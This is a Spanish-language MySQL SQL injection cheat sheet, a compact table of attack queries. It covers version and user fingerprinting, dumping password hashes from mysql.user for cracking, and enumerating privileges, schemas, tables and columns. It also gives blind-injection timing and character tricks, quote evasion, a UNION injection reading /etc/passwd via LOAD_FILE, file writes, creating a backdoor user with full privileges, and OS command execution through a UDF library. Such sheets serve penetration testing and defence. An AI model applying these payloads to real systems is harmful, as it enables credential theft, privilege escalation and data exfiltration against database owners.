Tabla de Trucos para Inyección de SQL

Versión SELECT @@version
Comentarios SELECT 1; #comentario
SELECT /*comentario*/1;
Usuario Actual SELECT user();
SELECT system_user();
Listar Usuarios SELECT user FROM mysql.user; — priv
Listar Hashes de Passwords SELECT host, user, password FROM mysql.user; — priv
Crackear Passwords John the Ripper crackea hashes de MySQL.
Listar privilegios SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privs
SELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privs
SELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)
SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
Listar cuentas DBA SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;
SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Base de Datos Actual SELECT database()
Listar Bases de Datos SELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
Listar Columnas SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Listar Tablas SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Encontrar Tablas apartir de un nombre de Columna SELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — en cuentra las tablas con columnas llamadas ‘username’
Seleccionar la N Fila SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # filas numeradas desde 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # filas numeradas desde 0
Seleccionar el N caracter SELECT substr(‘abcd’, 3, 1); # devuelve c
AND Bit a Bit SELECT 6 & 2; # devuelve 2
SELECT 6 & 1; # devuelve 0
Valor ASCII -> Caracter SELECT char(65); # devuelve A
Char -> ASCII Value SELECT ascii(‘A’); # returns 65
Casting SELECT cast(‘1′ AS unsigned integer);
SELECT cast(‘123′ AS char);
Concatenación de cadenas SELECT CONCAT(‘A’,’B’); #devuelve AB
SELECT CONCAT(‘A’,’B’,’C’); # devuelve ABC
Sentencia IF SELECT if(1=1,’foo’,’bar’); — devuelve ‘foo’
Sentencia CASE SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # devuelve A
Evitar Comillas SELECT 0×414243; # devuelve ABC
Demora de Tiempo SELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Hacer Peticiones DNS ¿Imposible?
Ejecución de Comandios Si mysqld (<5.0) se ejecuta como root Y te haces con una cuenta DBA podrás ejecutar comandos del SO subiendo un archivo compartido a /usr/lib(o similar). El archivo .so debe contener una Función de Usuario Definida (UDF). raptor_udf.c explica exactamente como puedes hacerlo. Recuerda compilar para la arquitectura del objetivo pues no tiene porque ser la misma que la del atacante.
Acceso a Archivos Locales …’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, solo puede leer archivos de lectura universales.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, escribir en archivo de sistema
Hostname, Dirección IP ¿Imposible?
Crear Usuarios CREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Borrar Usuarios DROP USER test1; — priv
Make User DBA GRANT ALL PRIVILEGES ON *.* TO test1@’%’; — priv
Localización de los archivos de BD SELECT @@datadir;
Default/System Databases information_schema (>= mysql 5.0)
mysql
1